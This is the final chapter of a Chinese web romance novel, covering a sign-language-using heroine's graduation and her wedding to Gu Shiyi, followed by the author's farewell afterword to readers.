“我没有!”顾识弈矢口否认,迎上诸愿那双澄澈又带着几分戏虐的眸子,撑了没几秒,便败下阵来,无奈地叹了口气,“好吧,我是在吃醋。” 他细数:“之前那个香囊,我还以为是送给我的,结果转头就送到了贺哥手里。好多时候,你明显都更偏向他。可能是我没有兄弟姐妹吧,实在没法理解,他怎么能对你好到这种地步。我问过公司里的员工,他们说能和兄弟姐妹不拌嘴,就已经算和平共处了。最重要的是……你们还没有血缘关系。” 诸愿看着他委屈巴巴的模样,眼底笑意更浓,慢悠悠比划:〈原来你是这么想的。〉 顾识弈一看她这神情,就知道自己说错话了,连忙补救:“我当然相信你,只是把他当亲哥哥。我就是觉得,你现在已经是成年人了,身边也有了我,他是不是……可以稍微放手了?” 诸愿踮起脚尖,在他唇角轻轻啄了一下,随即退开半步,笑着比划:〈我懂啦,我会解决的。〉 顾识弈瞬间眉开眼笑。 也是,他们早就领了证,不过是再等两年零九个月,就能举办一场盛大的婚礼了。 可他怎么也没想到,第二天,诸贺竟直接找上了他的公司。 办公室里,诸贺坐在沙发上,语气平静的说起了往事。 说诸愿在孤儿院里如何照顾八岁的他。那时的他,还带着从前的少爷脾气,十指不沾阳春水,什么都不会。 说诸愿的嗓子会变成这样,很大一部分原因,也是因为他。 说诸愿在诸家,从来就没过上几天好日子,还被诸世青骗。 顾识弈听完,心头像是被什么东西狠狠攥住,酸涩又愧疚。 他这才明白,诸贺对诸愿的守护,从来都不是妄图占有。那是刻进骨子里的执念,是历经了半生风雨,才想要护她一世周全的决心。 毕竟,谁会不喜欢诸愿呢? 她就像一道光,猝不及防的照进了他们灰暗的生命里,将那些泥泞与不堪,都温柔地驱散了。 转眼又是一年秋。 银杏叶簌簌落下,铺满了整条街道,踩上去沙沙作响。 诸愿和苏沐约好去吃附近新开的火锅店,她抱着自己包扎好的花束,站在校门口等。 不过两分钟,一辆红色轿车停在面前。车窗缓缓降下,露出苏沐戴着墨镜的脸,一身干练的职业装,衬得她英气十足。 “上车,”苏沐冲她抬了抬下巴,语气里带着几分张扬,“姐带你兜风去~” 诸愿笑着拉开车门坐进去,将怀里的花束递过去。 正低头系安全带时,就听见苏沐惊喜的声音:“你这包扎技术可以啊!比外面花店那些千篇一律的款式,有新意多了!不是说园艺专业毕业即失业吗?我看你这水平,以后自己开个花店,都能养活自己!” 诸愿不好意思地弯了弯唇角。 苏沐不知道,这些花材可比普通花店的贵了好几倍。 自从她开始学插花,顾识弈听说她要买花,直接让林秘书从国外订了一整车的珍稀花材空运过来。 花材太多,她用不完,便每次都分给班上的同学。以至于,她虽然有声障极少参加活动,却和周围的同学关系极好。 一来是大家知道她的情况,平日里多有照顾,二来没人会不喜欢一个漂亮又大方的女孩子。 苏沐听完她的解释,却不以为然地挑眉:“话虽如此,有钱也是实力的一部分嘛!再说了,我闺蜜就是最厉害的,不接受任何反驳!” 诸愿被她逗得笑出了声。 两人一路说说笑笑,驱车前往餐厅。饭桌上还兴致勃勃的商量着,今年万圣节要像去年一样,再去好好玩一场! 饭后,诸愿回到了那间公寓。 推开门的瞬间,满室花香扑面而来。 鞋柜上、客厅的茶几上、餐厅的餐桌上,甚至连厨房和卫生间的角落,都摆着她的插花作业。 暖黄的灯光氤氲着一室温馨,顾识弈正系着围裙,站在厨房的水槽边洗碗,袖口挽到手肘,露出线条流畅的小臂。 其实一开始,顾识弈还装模作样,说只她一个人住。可没过多久,他就暴露本性。 先找借口说静姨回老家探亲,万宜只剩他一个人,不习惯,要来借住几天。 到后来,干脆就赖着不走了。 诸愿自然不会拒绝。而诸贺,似乎也知道,以顾识弈的厚脸皮,就算自己出面阻止,也根本赶不走人。 尤其是有一次,诸愿冬天夜里突发高烧,多亏了顾识弈发现得及时,连夜送她去医院,才没酿成大错。 两人都还记得,在M国时,诸愿那次高烧失忆的事,哪里还敢有半分轻忽。自那之后,诸贺便再也不管顾识弈留宿的事了。 顾识弈擦干净手,转过身看向她,目光落在她脸上,语气里带着几分不易察觉的委屈:“火锅好吃吗?” 诸愿看着他微微抿起的嘴角,就知道,他还在气下午 自己拒绝和他一起吃火锅的事。 她无奈地叹了口气。 去年冬天,她突然馋火锅,拉着顾识弈就往外跑。结果回来后,却撞见他在偷偷吃药。 在她的“严刑逼供”下,才知道真相: 原来两人第一次在邻市吃火锅时,他回来后就肚子疼了一整晚。 第二次学聪明了,去之前先吃了一大堆药。 而这一次,是因为她突发奇想,他来不及准备,只能事后补吃药。 当时她知道真相后,心疼得掉了好久的眼泪,觉得他根本不把自己的身体当回事,还跟他闹了两天别扭。 直到顾识弈再三保证,以后再也不会这样,两人才和好如初。 而这次,她又想吃火锅了,便约了苏沐。顾识弈无意间看到了她们的聊天记录,竟主动说自己的身体已经好了,完全可以消化火锅了。 诸愿哪里会不懂他的小心思。 他只是不想让她觉得,有什么事是他不能陪她完成,而别人却可以的。尤其是,她爱吃的火锅。 她没有戳破他的谎言,也没有摆事实讲道理,直接比划手语说他不能吃。 因为道理人人都懂,可当下的情绪却比道理更重要。 她放下手里的包,快步走到顾识弈面前。 在男人略带错愕的目光里,她踮起脚尖,双手环住他的脖颈,整个人直接跳了上去。 顾识弈下意识伸手托住她的腿弯,眼底满是狐疑。 诸愿勾着他的脖子,凑到他耳边,眉眼弯弯的比划:〈火锅很好吃,但没有我好吃。〉 男人的眸色,几乎在看清她手语的瞬间骤然变深,如墨染的夜,翻涌着汹涌的暗流。 诸愿能清晰地感觉到,托着自己大腿的掌心,骤然收紧了几分。 她脸上瞬间爬上一层绯红,却没有丝毫退却,仰头在他线条分明的下巴上,轻轻蹭了一下。 果然,下一秒,顾识弈便抱着她,大步流星地朝着主卧走去。 虚掩的卧室门后,压抑不住的粗重喘息与细碎的呜咽交织在一起,伴着男人温柔的哄劝声,缠缠绵绵,响了一整夜。 蝉鸣聒噪的盛夏,异木棉花开得正盛,粉白的花瓣缀满枝头,诸愿终于迎来了自己的毕业季。 她穿着黑色绿领的学士服,头顶的黑色流苏垂在肩头,随着步伐轻轻晃动。 校门口,苏沐、诸贺和顾识弈都来了,每个人手里都捧着一束娇艳欲滴的花,在人群里格外惹眼。 诸愿笑着拉住路过的同学,麻烦她帮忙拍张合照。 苏沐默契地站到她的右边,顾识弈站在她的左边,高大的身影微微倾向她,眼底满是宠溺,诸贺则站在她的身后,目光温和地落在她身后,带着欣慰的笑意。 她站在最中间,怀里抱着三束花,脸上带着明媚的笑意,衬得那双眼睛,亮得像盛满了盛夏的光。 快门按下的瞬间,也定格了她整个青春里,最明媚的时光。 天朗气清,惠风和畅。 诸愿和顾识弈的婚礼,在一片开阔的草坪上举行。 满草坪的鲜花肆意盛放,红的、粉的、白的,交织成一片浪漫的花海。 白色的纱幔随风轻舞,气球飘满了整个天空,远处还有悠扬的小提琴声,缓缓流淌。 司仪苏沐穿着一身精致的小礼裙,手里拿着话筒,声音激昂又兴奋地喊:“有请新娘入场!” 诸愿穿着一袭洁白的婚纱,裙摆曳地,长长的头纱随着微风轻轻飘动。 她挽着诸贺的手,一步步踏上铺满花瓣的红毯,缓缓走向台上等待她的新郎。 红毯两侧,坐满了前来贺喜的宾客,静姨、林秘书、海武哥……一张张熟悉的面孔,都带着真挚的笑意。 花瓣从两侧洒落,落在她的发间、肩头,寓意着往后余生,一路生花。 走到台前,诸贺郑重地将她的手,交到顾识弈的掌心。 他什么都没说,只是用力地拍了拍两人交叠的手,便转身,大步走下台去。 诸愿羞涩地抬眸,撞进顾识弈那双泛红的眸子里。她清晰地看到,他的眼角,竟闪烁着晶莹的泪光。 诸愿微微一怔。 她知道顾识弈有多隐忍,相识这么久,她唯一一次见他哭,还是当初她骗他要离婚的时候。 正当她满心疑惑,他为何会落泪时,顾识弈握着她的手,声音带着几分哽咽,却又无比清晰:“愿愿,我终于娶到你了,我好高兴。” 诸愿心头一颤,瞬间红了眼眶。 她踮起脚尖,伸手紧紧抱住他,用温热的拥抱,告诉他,自己也一样高兴。 悠扬的琴声里,两人在所有宾客的见证下,交换了彼此精心准备的戒指。 一枚是璀璨的钻戒,象征着热烈的爱恋,一枚是温润的素戒,代表着细水长流的陪伴。 对视的瞬间,无需多言,两人俯身,情不自禁地吻在一起。 台下响起雷鸣般的欢呼声。 就在此时,舞台背后,无数的彩烟骤然绽放,红的、蓝的、紫的……绚烂的色彩,在天空中交织成一幅绝美的画卷,也为他们的今天,和往后漫长的余生,画上了最浓墨重彩的一笔。 从此,人间烟火,岁岁年年,皆是圆满—— 作者有话说:大结局啦[撒花][撒花][撒花] 上次我说,终于写到十五万字,是我人生中第一本写这么多字数的小说。 现在我想说,它变成我人生中第一本写到二十万字的小说啦哈哈哈!!! 其实在之前,每当我想到要写完结感言的时候,心中就激动地涌现了非常非常多的话想和大家说,但是我一直忍着。 因为我知道,如果我当下真的写下来,累积到今天,我应该能再开一本一万字的废话感言了(尽管现在已经很废话了[摊手]) 所以我们就长话短说吧,说说创作经历。 文案挂的时候是二四年十一月好像?(目前的版本是修改之后的,终版时间文案有写)然后我从二五年一月份就开始了创作,到过年的时候已经有五万字了,结果年后修文发现了不对劲! 我开始从头修改第二个版本,到五一的时候,修改、包括新增的我已经写到了十万字。 按照我一开始的计划,这时候我就开始发文进入连载了,但不巧,我是个修文狂魔,我把这十万字又修了一遍,越修越心惊,修到最后,我直接弃了!(是的,目前发出来的版本是全新的第三个版本,和第一、二版本完全就是八竿子打不着,没有一处剧情是相似的!身边人知道我弃了十万字都惊呆了!) 我开始写第三版本,但自我怀疑和迷茫,以及写前三章,就耗费了我整整两个月,等到我再次写到十万字,已经距离我弃那十万字,过去了一百多天(这其中当然包括了我的手速,很慢很慢![无奈]) 再说连载期,一开始其实是有好榜的,但可能是太烂了,或者说这个频道就是如此的激烈,入v后就进入了无限轮空。 但有了上一本的例子,我淡定了许多,甚至可以说,完全不受影响,因为没招了[哈哈大笑]也做到了每天积极日更、不水、不砍剧情(除了偶尔写慢了,返回去修改,没在零点前更新,包括今天也是,真的很对不起大家[爆哭],到了今天完结,我可以骄傲地说,虽然我写得可能真的很烂很烂吧,但绝对绝对是我用心之后的结果,剩下的怪我水平不行吧(求轻喷[求你了]) 其实好像也没有什么要说的了,敲敲打打删删改改磨磨蹭蹭不愿意发出去,仅仅是因为我想跟大家再多说几句话,怕大家看完这章后,就走了再也不来看我了,我当然是支持大家这么做的,因此才更加舍不得就这样匆匆结束最后一次的长篇大论。[爆哭][爆哭][爆哭] 真的一直一直以来,都非常非常感谢大家的包容,谢谢谢谢您们,有您们真好呜呜呜(开心的眼泪)[抱抱][抱抱][抱抱] 最后可以求个作收、或者点一下专栏里那本预收收藏嘛[可怜]感激不尽!!! 好啦,有缘下次见吧,祝大家都 开开心心的,万事如意! 嗷对!明天会进行一个抽奖活动,大家记得参加哦,最后希望有全订标的宝子给个完结评分哈,谢谢谢谢,没有的就评论区评一下,我真的是一个超级好说话喜欢互动接受任何言论的好人[让我康康] 接下来可能会休息一下,再写一下番外,目前可能会想写一个【M国失忆后的诸愿偶然在街上遇到偷偷来看望她的顾识弈】,是免费的福利番外,大家还有想看的也可以告诉我哦,我免费写[彩虹屁] 宝子们下次再见啦~[亲亲][亲亲][亲亲]《 》